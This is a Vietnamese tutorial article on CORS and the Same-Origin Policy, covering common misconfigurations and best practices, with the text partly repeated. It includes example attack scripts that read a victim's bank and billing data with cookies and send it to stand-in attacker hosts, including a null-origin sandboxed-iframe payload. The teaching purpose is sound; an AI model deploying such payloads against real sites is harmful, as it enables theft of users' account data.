logo

Lộ trình

Khóa học

Tài liệu

Mock Interview

Liên hệ

Quay lại
  • Trang chủ

    /

  • Tài liệu

    /

  • CORS: Bản Chất, Hạn Chế và Best Practices
Tài liệu

CORS: Bản Chất, Hạn Chế và Best Practices

Ronin Engineer

7 Tháng 9 2025

<p>By <a href="https://www.linkedin.com/in/cndvn/?ref=roninhub.com" rel="noreferrer">Đức Hiếu</a></p><p>Cross-Origin Resource Sharing (CORS) là một cơ chế bảo mật quan trọng trong phát triển web application hiện đại, cho phép kiểm soát việc truy cập tài nguyên giữa các domain khác nhau.</p><h2 id="1-v%E1%BA%A5n-%C4%91%E1%BB%81-m%C3%A0-cors-gi%E1%BA%A3i-quy%E1%BA%BFt">1. Vấn đề mà CORS&nbsp; giải quyết</h2><h3 id="11-th%E1%BB%9Di-k%E1%BB%B3-%C4%91%E1%BA%A7u-web-kh%C3%B4ng-c%C3%B3-same-origin-policy-sop">1.1. Thời kỳ đầu Web: không có Same-Origin Policy (SOP)</h3><p> Trong những ngày đầu của World Wide Web, các trình duyệt <strong>không có bất kỳ hạn chế nào về việc truy cập tài nguyên giữa các domain khác nhau</strong>. JavaScript code từ một trang web có thể:</p><ul><li>Gửi requests đến mọi server.</li><li>Lấy dữ liệu nhạy cảm trên các trang web khác.</li><li>Thực hiện các hành động ở các trang web khác thông qua user.</li></ul><p><strong>Ví dụ cụ thể</strong>: Tấn công Banking Website (Không có SOP). Cùng xem xét một ngữ cảnh tấn công thực tế để hiểu rõ mức độ nguy hiểm ở đây:</p><p>Bước 1: User đăng nhập vào ngân hàng</p><ul><li>User truy cập: <a href="https://mybank.com/?ref=roninhub.com"><u>https://mybank.com</u></a></li><li>Đăng nhập thành công -&gt; Browser lưu session cookie</li><li>Cookie: sessionId=abc123; domain=<a href="http://mybank.com/?ref=roninhub.com"><u>mybank.com</u></a></li></ul><p>Bước 2: User vô tình truy cập trang web độc hại</p><ul><li>User click vào link hoặc banner quảng cáo</li><li>Bị chuyển đến: https://malicious-site.com</li></ul><p>Bước 3: Malicious script thực thi (KHÔNG CÓ SOP - RẤT NGUY HIỂM)</p><pre><code class="language-javascript">// Script trên malicious-site.com // Trong thế giới không có SOP, code này sẽ THÀNH CÔNG // Đọc thông tin tài khoản fetch('https://mybank.com/api/account/balance', { &nbsp;&nbsp;credentials: 'include' // Tự động gửi kèm cookies }) .then(response =&gt; response.json()) .then(data =&gt; { &nbsp;&nbsp;console.log('Balance stolen:', data.balance); // $50,000 &nbsp;&nbsp;console.log('Account number:', data.accountNumber); // *****1234 &nbsp; &nbsp;&nbsp;// Gửi data về server của attacker &nbsp;&nbsp;fetch('https://attacker-server.com/steal', { &nbsp;&nbsp;method: 'POST', &nbsp;&nbsp;body: JSON.stringify(data) &nbsp;&nbsp;}); });</code></pre><p>Ngoài việc attacker sẽ đọc thông tin tài khoản của user. Attacker còn có thể làm rất nhiều thứ khác như <strong>thực hiện giao dịch trái phép.</strong>&nbsp;</p><p>Có thể thấy nếu không có bất kỳ hạn chế nào về việc truy cập tài nguyên giữa các domain khác nhau. Chúng ta sẽ phải đối mặt với các vấn đề bảo mật nghiêm trọng được nảy sinh ra như:</p><ul><li>Cross-Site Script Inclusion attacks: các website độc hại <strong>có thể đọc và lấy dữ liệu từ các website khác</strong> mà bạn đang dùng như ngân hàng, email, facebook,...</li><li>Credential theft: Attacker có thể truy cập session cookies và authentication tokens</li><li>Data exfiltration: Thông tin cá nhân có thể bị đánh cắp mà user không hay biết</li><li>Unauthorizaed actions: Script độc hại có thể thực hiện transaction, post content, change settings</li></ul><h3 id="12-same-origin-policy-gi%E1%BA%A3i-ph%C3%A1p-b%E1%BA%A3o-m%E1%BA%ADt-c%E1%BA%A7n-thi%E1%BA%BFt">1.2. Same-Origin Policy: Giải pháp bảo mật cần thiết</h3><p>Để giải quyết những rủi ro bảo mật nghiêm trọng ở trên, thì các trình duyệt (browser) đã implement <strong>Same-Origin Policy (SOP).</strong> Khái niệm same-origin policy được giới thiệu bởi <a href="https://en.wikipedia.org/wiki/Netscape_Navigator_2?ref=roninhub.com"><u>Netscape Navigator 2.02</u></a> vào năm 1995. Là một cơ chế bảo mật cơ bản được tích hợp sẵn trong tất cả các trình duyệt web hiện đại. Policy này ngăn chặn các tài liệu hoặc script từ một origin (<em>origin có cấu trúc gồm &lt;scheme&gt;://&lt;hostname&gt;:&lt;port&gt;, ví dụ: https://example.com hoặc http://example.com:80</em>) truy cập vào tài nguyên của origin khác, trừ khi chúng có cùng protocol, hostname và port.</p><figure class="kg-card kg-image-card"><img src="https://roninhub.com/content/images/2025/09/data-src-image-4af3799a-6592-406b-b999-0fcfd55d5ea5.png" class="kg-image" alt="" loading="lazy" width="957" height="675" srcset="https://roninhub.com/content/images/size/w600/2025/09/data-src-image-4af3799a-6592-406b-b999-0fcfd55d5ea5.png 600w, https://roninhub.com/content/images/2025/09/data-src-image-4af3799a-6592-406b-b999-0fcfd55d5ea5.png 957w" sizes="(min-width: 720px) 720px"></figure><p>Tuy nhiên, khi web applications trở nên phức tạp hơn, <strong>SOP bắt đầu cản trở các use case hợp lệ</strong>:</p><ul><li><strong>Khó tích hợp API giữa các subdomain</strong>: giả sử bạn viết backend API với domain là <a href="http://api.myapp.com/?ref=roninhub.com"><u>api.myapp.com</u></a> và frontend của bạn có domain <a href="http://fe.myapp.com/?ref=roninhub.com"><u>fe.myapp.com</u></a> thì lúc này vì SOP mà frontend của bạn không thể tích hợp api để phát triển được</li><li><strong>Khó tích hợp các API bên ngoài</strong>: khó tích hợp các dịch vụ api có sẵn như payment gateways, social media apis, authentication providers,...</li></ul><p>Chi tiết về SOP các bạn có thể đọc thêm <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy?ref=roninhub.com"><u>tại đây</u></a>.&nbsp;</p><h3 id="13-cors-gi%E1%BA%A3i-ph%C3%A1p-c%C3%A2n-b%E1%BA%B1ng-gi%E1%BB%AFa-b%E1%BA%A3o-m%E1%BA%ADt-v%C3%A0-c%C3%A1c-t%C3%ADnh-n%C4%83ng-cho-web-hi%E1%BB%87n-%C4%91%E1%BA%A1i">1.3. CORS: Giải pháp cân bằng giữa bảo mật và các tính năng cho web hiện đại</h3><h3 id="131-cors-l%C3%A0-g%C3%AC">1.3.1. CORS là gì?</h3><p>CORS được thiết kế để <strong>có kiểm soát</strong> việc <strong>nới lỏng SOP</strong>, cho phép server <strong>chỉ định rõ ràng những origin nào được phép truy cập tài nguyên của mình</strong>. Thay vì bỏ hoàn toàn SOP (điều này rất nguy hiểm), CORS sử dụng các HTTP headers để thiết lập một giao thức an toàn giữa trình duyệt và server.</p><p>Có thể hiểu CORS là một cơ chế bảo mật dựa trên HTTP, được kiểm soát và thực thi bởi client (browser). Cơ chế này được thiết kế nhằm giải quyết một số giới hạn của SOP: Ở origin A, chúng ta có thể cấu hình CORS cho phép origin B có thể tải một số tài nguyên (HTML hoặc script JS) nằm trên orgin A. CORS chủ yếu được implement trong browser, và các browser phổ biến như Google Chrome, Firefox, Opera và Safari,... đều có implement CORS.</p><h3 id="132-cors-ho%E1%BA%A1t-%C4%91%E1%BB%99ng-nh%C6%B0-n%C3%A0o">1.3.2. CORS hoạt động như nào?</h3><p>Trước khi browser gửi 1 request, Browser gửi một request gọi là CORS preflight đến server để hỏi server là “với các tham số để trong HTTP header (<em>CORS request header mình sẽ giới thiệu ở phần dưới</em>) này có được phép truy cập không?”. Server nhận preflight request kiểm tra và response lại policy được gắn trong header (<em>CORS response header mình sẽ giới thiệu ở phần dưới</em>) về lại cho browser. Lúc này browser dựa trên response của preflight CORS mà đưa ra quyết định xem nó có thể gửi request chính đến server hay không. Browser sẽ báo lỗi nếu response không đáp ứng các yêu cầu của CORS preflight.</p><figure class="kg-card kg-image-card"><img src="https://roninhub.com/content/images/2025/09/data-src-image-a985ef85-525d-4e6a-b840-bb85db4aacee.png" class="kg-image" alt="" loading="lazy" width="1598" height="1600" srcset="https://roninhub.com/content/images/size/w600/2025/09/data-src-image-a985ef85-525d-4e6a-b840-bb85db4aacee.png 600w, https://roninhub.com/content/images/size/w1000/2025/09/data-src-image-a985ef85-525d-4e6a-b840-bb85db4aacee.png 1000w, https://roninhub.com/content/images/2025/09/data-src-image-a985ef85-525d-4e6a-b840-bb85db4aacee.png 1598w" sizes="(min-width: 720px) 720px"></figure><h3 id="134-cors-preflight-l%C3%A0-g%C3%AC">1.3.4. CORS preflight là gì?</h3><p>Trước khi browser gửi một request tới server, đầu tiền nó gửi một <strong>HTTP request với method OPTIONS</strong>. Hành động này được gọi là CORS preflight request. Sau đó server response với một danh sách các method và header được cho phép. Nếu thông tin header và method của request chính hợp lệ thì browser sẽ gửi request chính tới server. Ngược lại, browser sẽ throw lỗi và không tiếp tục gửi request chính, nếu request chính không hợp lệ.</p><figure class="kg-card kg-image-card"><img src="https://roninhub.com/content/images/2025/09/data-src-image-2f9a4224-7a56-40d8-b7b4-ab7dc0773733.png" class="kg-image" alt="" loading="lazy" width="1131" height="1600" srcset="https://roninhub.com/content/images/size/w600/2025/09/data-src-image-2f9a4224-7a56-40d8-b7b4-ab7dc0773733.png 600w, https://roninhub.com/content/images/size/w1000/2025/09/data-src-image-2f9a4224-7a56-40d8-b7b4-ab7dc0773733.png 1000w, https://roninhub.com/content/images/2025/09/data-src-image-2f9a4224-7a56-40d8-b7b4-ab7dc0773733.png 1131w" sizes="(min-width: 720px) 720px"></figure><h3 id="135-c%C3%A1c-cors-request-header">1.3.5. Các CORS request header</h3><p>Các CORS request header quan trọng dưới đây đều <strong>do browser tự động set và kiểm soát</strong>.</p><ul><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Origin?ref=roninhub.com"><strong><u>Origin</u></strong></a>: Browser khai báo request đến từ origin nào cho server biết. Để server dựa vào origin và ra quyết định trả về header Access-Control-Allow-Origin tương ứng nhằm cho phép browser tiếp tục sử lý request hay không. Ví dụ: <code>Origin: https://frontend.exmaple.com</code></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Request-Method?ref=roninhub.com"><strong><u>Access-Control-Request-Method</u></strong></a>: Browser khai báo HTTP method của request chính cho server biết. vì preflight request luôn dùng OPTIONS method. Ví dụ: <code>Access-Control-Request-Method: POST</code></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Request-Headers?ref=roninhub.com"><strong><u>Access-Control-Request-Headers</u></strong></a>: Browser liệt kê các header tùy chỉnh của request lên server. Để server đưa ra quyết định request chính có hợp lệ hay không. Ví dụ: <code>Access-Control-Request-Headers: Authorization, Content-Type</code></li></ul><h3 id="136-c%C3%A1c-cors-resposne-header">1.3.6. Các CORS resposne header</h3><p>Với cors response header, <strong>server (backend) có toàn quyền quyết định nội dung header trả về. </strong>Browser sẽ dựa vào các header này để cho phép hoặc từ chối truy cập data từ domain khác.</p><ul><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Allow-Origin?ref=roninhub.com"><strong><u>Access-Control-Allow-Origin</u></strong></a><strong>:</strong> Server chỉ cho browser biết <strong>origin nào được phép truy cập </strong>tài nguyên. Có các giá trị *, null hoặc duy nhất 1 origin, ví dụ: <code>Access-Control-Allow-Origin:<strong> </strong>https://foo.io</code>.</li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Allow-Methods?ref=roninhub.com"><strong><u>Access-Control-Allow-Methods</u></strong></a><strong>:</strong> Server chỉ cho browser biết <strong>các HTTP method được phép</strong>. Có thể sử dụng một hoặc nhiều HTTP method thông qua dấu phẩy, ví dụ: <code>Access-Control-Allow-Methods: GET, POST, PUT</code>.</li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Allow-Headers?ref=roninhub.com"><strong><u>Access-Control-Allow-Headers</u></strong></a><strong>:</strong> Server chỉ cho browser biết <strong>các header nào trong request được phép sử dụng</strong>, ví dụ: <code>Access-Control-Allow-Headers: Authorization, Content-Type, X-My-Token</code>.</li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Allow-Credentials?ref=roninhub.com"><strong><u>Access-Control-Allow-Credentials</u></strong></a><strong>:</strong> Server chỉ cho browser biết có cho phép browser gửi các credentials (cookie, header xác thực) hay không. <strong>Mặc định là false</strong>.</li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Max-Age?ref=roninhub.com"><strong><u>Access-Control-Max-Age</u></strong></a><strong>:</strong> Server chỉ cho browser biết thời gian browser nên <strong>cache phản hồi preflight</strong>, tính theo giây. Mặc định là 5.</li></ul><h3 id="137-s%E1%BB%B1-nh%E1%BA%A7m-l%E1%BA%ABn-ph%E1%BB%95-bi%E1%BA%BFn">1.3.7. Sự nhầm lẫn phổ biến</h3><p>Có một vấn đề mình nghĩ nhiều người thường hay nhầm lẫn rằng “CORS là cơ chế do server (backend) kiểm soát”. Nhưng mình xin nhấn mạnh rằng <strong>bản chất CORS phải là cơ chế kết hợp cả server và client/browser với server là nơi quy định policy gửi về cho browser tham khảo và đưa ra quyết định</strong>. Bởi vì nếu bạn dùng các công cụ như postman hoặc một số extension để block CORS trên browser thì bạn vẫn có thể call api từ một origin khác.&nbsp;</p><h2 id="2-m%E1%BB%99t-s%E1%BB%91-sai-l%E1%BA%A7m-ph%E1%BB%95-bi%E1%BA%BFn-v%E1%BB%81-cors-m%C3%A0-dev-th%C6%B0%E1%BB%9Dng-m%E1%BA%AFc-ph%E1%BA%A3i">2. Một số sai lầm phổ biến về CORS mà Dev thường mắc phải</h2><h3 id="21-wildcard">2.1. Wildcard (*)</h3><p>Rất nhiều developer lần đầu deploy sản phẩm thường dính lỗi CORS và để cho nhanh các bạn thường set <code>Access-Control-Allow-Origin: *</code> cho lẹ. Nhưng cấu hình này không khác gì việc <strong>mở cửa cho sói vào nhà</strong>. Khi để cấu hình như vậy thì mọi domain đều có thể truy cập tài nguyên, dễ bị các attacker khai các lỗ hổng bảo mật như ở ví dụ phần 1.1 tấn công Banking Website.</p><h3 id="22-origin-header-reflection">2.2. Origin header reflection</h3><p>Origin header reflection xuất hiện do <strong>nhu cầu của dev</strong> trong việc hỗ trợ <strong>nhiều origins</strong> truy cập vào cùng một API. Nhưng header <code>Access-Control-Allow-Origin</code> chỉ có thể chỉ định <strong>một origin duy nhất</strong> hoặc * (wildcard) về cho browser xử lý.</p><p><strong>Vấn đề thực tế</strong>:</p><ul><li>Một App cần hỗ trợ nhiều subdomain: app.example.com, admin.example.com, mobile.example.com</li><li>Duy trì một whitelist tĩnh đòi hỏi sự nỗ lực của dev phải liên tục thay đổi hoặc thêm mới khi có domain mới</li><li>Dev cần linh hoạt trong các môi trường development và testing</li></ul><p><strong>Suy nghĩ sai lầm của Dev</strong>:</p><ul><li>Logic sai lầm phổ biến:</li></ul><pre><code class="language-javascript">// Developer nghĩ: "Tôi sẽ đọc Origin header và reflect nó lại nếu hợp lệ"&nbsp; const origin = request.headers.origin; if (origin &amp;&amp; origin.includes('trusted-domain.com')) { response.setHeader('Access-Control-Allow-Origin', origin);&nbsp;&nbsp; }</code></pre><ul><li>Tại sao logic này có vẻ hợp lý:</li></ul><ol><li>Flexible: Hỗ trợ nhiều subdomain động</li><li>Convenient: Không cần maintain hardcoded list</li><li>Development-friendly: Dễ test với môi trường localhost và staging</li></ol><ul><li>Với logic trên attacker có thể tạo một domain <code>fake-trusted-domain.com</code> và <strong>BÙM</strong>. attacker lúc này đã có thể bypass Acccess-Control-Allow-Origin và thực hiện tấn công giống ví dụ ở phần 1.1 tấn công Banking Website.</li></ul><p></p><h3 id="23-cho-ph%C3%A9p-null-origin-header">2.3. Cho phép Null Origin header</h3><p>Trong quá trình phát triển sản phẩm dưới local. Một số dev thường thêm null vào whitelist Orgin để tiện test (ví dụ khi chạy app từ <code>file://</code> hay <code>data://</code> thay vì <code>http://localhost</code>). Tuy nhiên <strong>điều này là nguy hiểm,</strong> vì giá trị <code>Origin: null</code>&nbsp; không chỉ xuất hiện trong môi trường local, mà còn <strong>trong nhiều context đặc biết của browser</strong> như:</p><ul><li>Tài liệu bị sandbox trong <code>&lt;iframe sandbox&gt;</code></li><li>Các URL dạng <code>file://</code>, <code>data://</code>, hoặc <code>blob://</code></li></ul><p>Attacher có thể lợi dụng điều này bằng cách nhúng một sandboxed iframe chứa script độc hại. Khi script trong iframe gửi request kèm cookie của victim đến API (ví dụ /api/account/billing), browser sẽ gán header <code>Origin: null</code>. Nếu server đã cấu hình <code>Access-control-Allow-Origin: null</code>, thì CORS sẽ cho phép response cross-origin. lúc này attacher có thể đọc dữ liệu nhạy cảm và chuyển về server của attacher.</p><pre><code class="language-html">&lt;iframe sandbox="allow-scripts" srcdoc=" &nbsp;&nbsp;&lt;script&gt; &nbsp;&nbsp;&nbsp;&nbsp;fetch('https://api.example.com/api/account/billing', { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;credentials: 'include'&nbsp; // Include cookies &nbsp;&nbsp;&nbsp;&nbsp;}).then(async (data) =&gt; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Forward response to your controlled server (in base64) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fetch('http://attacker-server/collector?data=' + btoa(await data.text())); &nbsp;&nbsp;&nbsp;&nbsp;}); &nbsp;&nbsp;&lt;/script&gt; "&gt; &lt;/iframe&gt;</code></pre><p><strong>Các khắc phục:</strong></p><ul><li>Tuyệt đối không đưa <code>null</code> vào whitelist cho <code>Access-Controll-Allow-Origin</code>.</li><li>Trong môi trường dev, hãy dùng domain cụ thể như <code>http://localhost:3000</code> hoặc cấu hình DNS/hosts thay vì dựa vào Origin <code>null</code></li><li>Thực hiện whitelist theo exact match thay vì chấp nhận wildcard hay <code>null</code></li></ul><h2 id="3-best-practices">3. Best practices</h2><h3 id="31-s%E1%BB%AD-d%E1%BB%A5ng-whitelist">3.1. Sử dụng whitelist</h3><p>Sử dụng whitelist cho các origin tin tưởng, tránh sử dụng blacklist hoặc regex để tránh tạo lỗ hổng cho attacker khai thác:</p><ul><li>blacklist không đảm bảo an toàn: Việc liệt kê các origin không cho phép vào blacklist sẽ khó bảo trì vì attacker có thể tạo các origin mới chưa bị chặn. Ngoài ra, blacklist phải luôn cập nhật, nếu không sẽ có kẽ hở lớn cho các cuộc tấn công.</li><li>Regex không chuẩn gây nhầm lẫn: Các browser xử lý underscore, encoding URL khác nhau, dấn đến regex nhiều khi lọt lưới nguy hiểm, vô tình cấp quyền truy cập cross-origin cho domain không an toàn.</li></ul><pre><code class="language-javascript">const allowedOrigins = [ &nbsp;&nbsp;&nbsp;&nbsp;'https://trusted-app.com', &nbsp;&nbsp;&nbsp;&nbsp;'https://admin.trusted-app.com', &nbsp;&nbsp;&nbsp;&nbsp;'https://mobile.trusted-app.com' ]; function validateOrigin(origin) { &nbsp;&nbsp;&nbsp;&nbsp;return allowedOrigins.includes(origin); } // Node.js/Express example app.use((req, res, next) =&gt; { &nbsp;&nbsp;&nbsp;&nbsp;const origin = req.headers.origin; &nbsp;&nbsp;&nbsp;&nbsp;if (validateOrigin(origin)) { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;res.setHeader('Access-Control-Allow-Origin', origin); &nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;next(); });</code></pre><h3 id="32-ch%E1%BB%89-cho-ph%C3%A9p-method-v%C3%A0-header-c%E1%BA%A7n-thi%E1%BA%BFt">3.2. Chỉ cho phép Method và header cần thiết</h3><p> Theo mình thì chỉ nên cho phép các method và header mà server cần dùng. Không nên để wildcard(*) để giảm thiểu rủi ro. Vì chúng ta không biết attacker có thẻ khai thác gì từ các method hay header mà ta không dùng tới&nbsp;</p><pre><code class="language-javascript">// Chỉ cho phép các methods cụ thể cần thiết res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT'); // Chỉ cho phép các headers cần thiết res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');</code></pre><h3 id="33-s%E1%BB%AD-d%E1%BB%A5ng-c%E1%BA%A5u-h%C3%ACnh-kh%C3%A1c-nhau-cho-t%E1%BB%ABng-m%C3%B4i-tr%C6%B0%E1%BB%9Dng">3.3. Sử dụng cấu hình khác nhau cho từng môi trường</h3><pre><code class="language-javascript"> const corsOptions = { &nbsp;&nbsp;&nbsp;&nbsp;origin: process.env.NODE_ENV === 'development'&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;? ['http://localhost:3000', 'http://localhost:3001'] &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: ['https://production-domain.com'], &nbsp;&nbsp;&nbsp;&nbsp;credentials: true, &nbsp;&nbsp;&nbsp;&nbsp;optionsSuccessStatus: 200 };</code></pre><h3 id="34-t%E1%BB%91i-%C6%B0u-preflight-caching-%C4%91%E1%BB%83-c%E1%BA%A3i-thi%E1%BB%87n-performance">3.4. Tối ưu preflight caching để cải thiện performance</h3><p>Preflight request là các request kiểm tra bảo mật trước khi gửi request chính thức. Nếu không tối ưu:</p><ul><li>Trình duyệt sẽ gửi nhiều request OPTIONS tốn tài nguyên mạng, làm chậm trải nghiệm user</li><li>Tăng tải cho server vì phải xử lý nhiều request preflight không thực sự lấy dữ liệu</li><li>Khi preflight không được cache lâu, app web có thể bị giảm performance rõ rệt, đặc biệt với các request cross-origin nhiều lần</li></ul><p>Tối ưu preflight bằng cách cache kết quả preflight giúp giảm số lượng request OPTIONS, tiết kiệm băng thông, giảm độ trễ tải dữ liệu, cải thiện hiệu năng tổng thể của ứng dụng web khi làm việc với API cross-origin.&nbsp;</p><p>Thời gian cache tối đa được giới hạn bởi các browser (Firefox - 24 tiếng, Chrome - 2 tiếng). Nên chọn con số nào cho <code>Access-Controll-Max-Age</code> thì theo mình phải dựa vào tính chất của App. Với các app mang tính bảo mật cao có lẽ nên set ngắn lại còn với những App có lượng traffic cao thì nên set cao lên.</p><h3 id="4-gi%E1%BB%9Bi-h%E1%BA%A1n-c%E1%BB%A7a-corst%E1%BA%A1i-sao-c%E1%BA%A7n-csp">4. Giới hạn của CORS - Tại sao cần CSP?</h3><p> CORS là cơ chế quan trọng giúp kiểm soát việc chia sẻ tài nguyên giữa các origin/domain khác nhau, giúp bảo vệ server khỏi các request không hợp lệ từ các origin không được phép. Tùy nhiên, CORS không phải là giải pháp bảo mật toàn diện cho ứng dụng web.</p><p>Điểm giới hạn của CORS là:</p><ul><li>&nbsp;<strong>Chỉ giúp browser kiểm soát việc truy cập tài nguyên</strong>: CORS giúp browser xác định origin/domain nào được phép gửi request đến server và nhận dữ liệu trả về. Nhưng nó không giúp browser kiểm soát điều gì được tải lên hay thực thi trên browser.</li><li><strong>Không thể ngăn chặn các tấn công phía client như Cross-Site-Scripting (XSS) hay code injection</strong>: Nếu một attacker tiêm được mã độc vào trang web (qua form input, script nhúng,...), mã này vẫn có thể chạy trên browser và thao tác với tài nguyên một cách nguy hiểm. CORS không có chức năng kiểm soát hay hạn chế hành vi này.</li><li><strong>Không kiểm soát cách browser tải và xử lý tài nguyên</strong>: Các đoạn script, style hay hình ảnh độc hại có thể vẫn được tải về và thực thi trên browser nếu không có biện pháp bảo vệ khác.</li></ul><p>Từ những giới hạn này, chúng ta có thể thấy <strong>CORS không thể thay thế các biện pháp bảo mật tại client/browser</strong>. Chính vì vậy, <strong>Content Security Policy (CSP) ra đời như một lớp bảo vệ bổ sung</strong>, kiểm soát chặt chẽ hơn các nguồn tài nguyên được phép tải và thực thi trên trình duyệt, giúp <strong>ngăn chặn các cuộc tấn công injection và tăng cường an toàn cho ứng dung web.</strong></p><p>Tài nguyên thêm:&nbsp;</p><ul><li><a href="https://portswigger.net/web-security/cors?ref=roninhub.com"><u>https://portswigger.net/web-security/cors</u></a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy?ref=roninhub.com"><u>https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy</u></a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS?ref=roninhub.com"><u>https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS</u></a></li><li><a href="https://www.gravitee.io/blog/blog-the-day-i-understood-cors?ref=roninhub.com"><u>https://www.gravitee.io/blog/blog-the-day-i-understood-cors</u></a></li></ul>

By Đức Hiếu

Cross-Origin Resource Sharing (CORS) là một cơ chế bảo mật quan trọng trong phát triển web application hiện đại, cho phép kiểm soát việc truy cập tài nguyên giữa các domain khác nhau.

1. Vấn đề mà CORS  giải quyết

1.1. Thời kỳ đầu Web: không có Same-Origin Policy (SOP)

Trong những ngày đầu của World Wide Web, các trình duyệt không có bất kỳ hạn chế nào về việc truy cập tài nguyên giữa các domain khác nhau. JavaScript code từ một trang web có thể:

  • Gửi requests đến mọi server.
  • Lấy dữ liệu nhạy cảm trên các trang web khác.
  • Thực hiện các hành động ở các trang web khác thông qua user.

Ví dụ cụ thể: Tấn công Banking Website (Không có SOP). Cùng xem xét một ngữ cảnh tấn công thực tế để hiểu rõ mức độ nguy hiểm ở đây:

Bước 1: User đăng nhập vào ngân hàng

  • User truy cập: https://mybank.com
  • Đăng nhập thành công -> Browser lưu session cookie
  • Cookie: sessionId=abc123; domain=mybank.com

Bước 2: User vô tình truy cập trang web độc hại

  • User click vào link hoặc banner quảng cáo
  • Bị chuyển đến: https://malicious-site.com

Bước 3: Malicious script thực thi (KHÔNG CÓ SOP - RẤT NGUY HIỂM)

// Script trên malicious-site.com
// Trong thế giới không có SOP, code này sẽ THÀNH CÔNG

// Đọc thông tin tài khoản
fetch('https://mybank.com/api/account/balance', {
  credentials: 'include' // Tự động gửi kèm cookies
})
.then(response => response.json())
.then(data => {
  console.log('Balance stolen:', data.balance); // $50,000
  console.log('Account number:', data.accountNumber); // *****1234
 
  // Gửi data về server của attacker
  fetch('https://attacker-server.com/steal', {
  method: 'POST',
  body: JSON.stringify(data)
  });
});

Ngoài việc attacker sẽ đọc thông tin tài khoản của user. Attacker còn có thể làm rất nhiều thứ khác như thực hiện giao dịch trái phép. 

Có thể thấy nếu không có bất kỳ hạn chế nào về việc truy cập tài nguyên giữa các domain khác nhau. Chúng ta sẽ phải đối mặt với các vấn đề bảo mật nghiêm trọng được nảy sinh ra như:

  • Cross-Site Script Inclusion attacks: các website độc hại có thể đọc và lấy dữ liệu từ các website khác mà bạn đang dùng như ngân hàng, email, facebook,...
  • Credential theft: Attacker có thể truy cập session cookies và authentication tokens
  • Data exfiltration: Thông tin cá nhân có thể bị đánh cắp mà user không hay biết
  • Unauthorizaed actions: Script độc hại có thể thực hiện transaction, post content, change settings

1.2. Same-Origin Policy: Giải pháp bảo mật cần thiết

Để giải quyết những rủi ro bảo mật nghiêm trọng ở trên, thì các trình duyệt (browser) đã implement Same-Origin Policy (SOP). Khái niệm same-origin policy được giới thiệu bởi Netscape Navigator 2.02 vào năm 1995. Là một cơ chế bảo mật cơ bản được tích hợp sẵn trong tất cả các trình duyệt web hiện đại. Policy này ngăn chặn các tài liệu hoặc script từ một origin (origin có cấu trúc gồm <scheme>://<hostname>:<port>, ví dụ: https://example.com hoặc http://example.com:80) truy cập vào tài nguyên của origin khác, trừ khi chúng có cùng protocol, hostname và port.

Tuy nhiên, khi web applications trở nên phức tạp hơn, SOP bắt đầu cản trở các use case hợp lệ:

  • Khó tích hợp API giữa các subdomain: giả sử bạn viết backend API với domain là api.myapp.com và frontend của bạn có domain fe.myapp.com thì lúc này vì SOP mà frontend của bạn không thể tích hợp api để phát triển được
  • Khó tích hợp các API bên ngoài: khó tích hợp các dịch vụ api có sẵn như payment gateways, social media apis, authentication providers,...

Chi tiết về SOP các bạn có thể đọc thêm tại đây. 

1.3. CORS: Giải pháp cân bằng giữa bảo mật và các tính năng cho web hiện đại

1.3.1. CORS là gì?

CORS được thiết kế để có kiểm soát việc nới lỏng SOP, cho phép server chỉ định rõ ràng những origin nào được phép truy cập tài nguyên của mình. Thay vì bỏ hoàn toàn SOP (điều này rất nguy hiểm), CORS sử dụng các HTTP headers để thiết lập một giao thức an toàn giữa trình duyệt và server.

Có thể hiểu CORS là một cơ chế bảo mật dựa trên HTTP, được kiểm soát và thực thi bởi client (browser). Cơ chế này được thiết kế nhằm giải quyết một số giới hạn của SOP: Ở origin A, chúng ta có thể cấu hình CORS cho phép origin B có thể tải một số tài nguyên (HTML hoặc script JS) nằm trên orgin A. CORS chủ yếu được implement trong browser, và các browser phổ biến như Google Chrome, Firefox, Opera và Safari,... đều có implement CORS.

1.3.2. CORS hoạt động như nào?

Trước khi browser gửi 1 request, Browser gửi một request gọi là CORS preflight đến server để hỏi server là “với các tham số để trong HTTP header (CORS request header mình sẽ giới thiệu ở phần dưới) này có được phép truy cập không?”. Server nhận preflight request kiểm tra và response lại policy được gắn trong header (CORS response header mình sẽ giới thiệu ở phần dưới) về lại cho browser. Lúc này browser dựa trên response của preflight CORS mà đưa ra quyết định xem nó có thể gửi request chính đến server hay không. Browser sẽ báo lỗi nếu response không đáp ứng các yêu cầu của CORS preflight.

1.3.4. CORS preflight là gì?

